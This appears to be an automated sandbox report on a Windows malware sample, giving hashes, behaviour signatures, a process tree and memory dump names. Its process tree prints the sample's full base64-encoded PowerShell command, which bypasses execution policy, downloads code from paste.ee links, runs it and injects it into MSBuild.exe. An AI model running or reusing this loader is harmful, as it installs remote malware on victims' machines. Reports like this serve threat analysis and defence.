0396da4728728701d82bea35844941b36b6ff001bd4a46b3e3f45d5143205b16

General

Target
DvnH2.exe
Size 847KB
Sample200708-trw5kcd2ja
SHA256 0396da4728728701d82bea35844941b36b6ff001bd4a46b3e3f45d5143205b16
MD5 bc23e4cf90c63d9a84eb905e6ec82f82
SHA1 b82df977fcc19b730ac2cdacec7d3b93617c57ed
SHA512 01007caceb1e777b55d3118f7cb21117f2ca17b4caf211108b90de705c490c472df859da2802d015329b856d1be303bff6f73a624cb720682cea3f1cd0dcddd4
MD5 SHA1 SHA512

Score

3^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2788 wrote to memory of 3592	2788	DvnH2.exe	67
PID 2788 wrote to memory of 3592	2788	DvnH2.exe	67
PID 2788 wrote to memory of 3592	2788	DvnH2.exe	67

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3964	3592	WerFault.exe	67

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeRestorePrivilege	3964	WerFault.exe
Token: SeBackupPrivilege	3964	WerFault.exe
Token: SeDebugPrivilege	3964	WerFault.exe

C:\Users\Admin\AppData\Local\Temp\DvnH2.exe
"C:\Users\Admin\AppData\Local\Temp\DvnH2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2788
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHcAagBtAFgAcQAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ATwB1AHcASgBaACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA
  2⤵
  PID:3592
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 708
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:3964

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/3964-1-0x0000000004370000-0x0000000004371000-memory.dmp

Download

memory/3964-8-0x00000000048A0000-0x00000000048A1000-memory.dmp